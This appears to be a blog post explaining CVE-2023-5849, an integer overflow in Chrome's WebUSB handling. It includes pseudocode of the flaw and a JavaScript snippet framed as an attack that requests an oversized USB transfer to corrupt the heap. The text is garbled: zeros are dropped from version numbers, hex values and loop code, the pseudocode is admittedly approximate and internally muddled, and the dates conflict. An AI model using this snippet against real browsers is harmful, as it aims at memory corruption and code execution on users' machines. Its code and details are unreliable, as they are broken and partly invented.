Google Chrome is a fortress—but on November 7, 2023, a chink in its armor was revealed. CVE-2023-5849 is a high-severity vulnerability that allowed attackers to corrupt Chrome’s memory and maybe even run malicious code, using just a simple webpage and a little-known bug in Chrome’s USB code.

This post explains, in plain language, how this bug works and how it can be exploited, with exclusive code snippets and direct references.

What Happened?

CVE-2023-5849:
*Integer overflow in USB in Google Chrome prior to 119..6045.105 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.*
– Google Chrome Release Notes

The Technical Problem

An integer overflow is a classic bug: a program does some arithmetic, but the result “wraps around” because the value is just too big for the variable’s type. If that value is used to allocate or access memory, all bets are off.

In this case, the bug happened inside Chrome’s code for handling USB devices via web pages (the “WebUSB” API). All an attacker had to do was trick Chrome into calculating memory sizes or buffer offsets incorrectly. That’s why Google labeled this “high severity.”

Where Is the Bug?

The problem was reported by Ryoya Tsukasaki and has been tracked at Chromium bug 1490236. The exact code is deep inside Chromium’s (Chrome’s open-source core) WebUSB implementation, but the basics look something like this (C++ style):

// Pseudocode inspired by actual USB code
void HandleUSBTransfer(uint32_t bytes_requested) {
  // THIS INT CAN OVERFLOW
  uint32_t buffer_size = bytes_requested * sizeof(TransferStruct);

  // allocate buffer (if buffer_size wraps, too small)
  TransferStruct* buf = new TransferStruct[buffer_size];

  // fill buffer based on bytes_requested (could write out of bounds)
  for (uint32_t i = ; i < bytes_requested; i++) {
    buf[i] = ... // fill from attacker-controlled data
  }
}

If bytes_requested is big enough, the multiplication overflows and buffer_size is much smaller than expected. This can cause Chrome to write outside allocated memory—classic heap corruption.

Exploiting in the Wild

So, how could someone abuse this? With WebUSB, a webpage can craft requests for abnormally large transfers that trigger this bug.

Let’s use WebUSB in JavaScript to mess with device transfer sizes

<script>
(async () => {
  const filters = [{ 'vendorId': x1234 }];
  let device = await navigator.usb.requestDevice({ filters });

  // Now send a transfer request with a large, dangerous size:
  let hugeSize = x40000000; // 1GB, causes 32-bit overflow with enough scale factor

  try {
    // This triggers the underlying overflow vulnerability in vulnerable versions
    let result = await device.transferIn(1, hugeSize);
    console.log(result);
  } catch (e) {
    console.error("Vulnerable browser will likely crash:", e);
  }
})();
</script>

*You’d need a compatible USB device (or emulator), but this example shows how an attacker could abuse the size calculation.*

What Could an Attacker Achieve?

- Browser crash / Denial of service: At minimum, corrupting the heap can crash Chrome, knocking you offline.
- Remote code execution: Carefully crafted heap corruption could allow the attacker to run code as your user, escaping the browser sandbox in some cases. No proof-of-concept public exploit has been released as of this writing.

November 7, 2023: Patched in Chrome 119..6045.105.

- Reference: Chrome Release Notes
- Technical details: Chromium Issue 1490236

- Official CVE-2023-5849 record
- Google Chrome security advisory
- Chromium Issue Tracker (1490236)
- Mitigating browser exploitation

Final Word

Even simple bugs—like adding two numbers together—can leave doors open for attackers in complex software like Chrome. Keep your browsers updated, watch out for emerging attacks, and stay safe online.

Timeline

Published on: 11/01/2023 18:15:10 UTC
Last modified on: 11/25/2023 11:15:23 UTC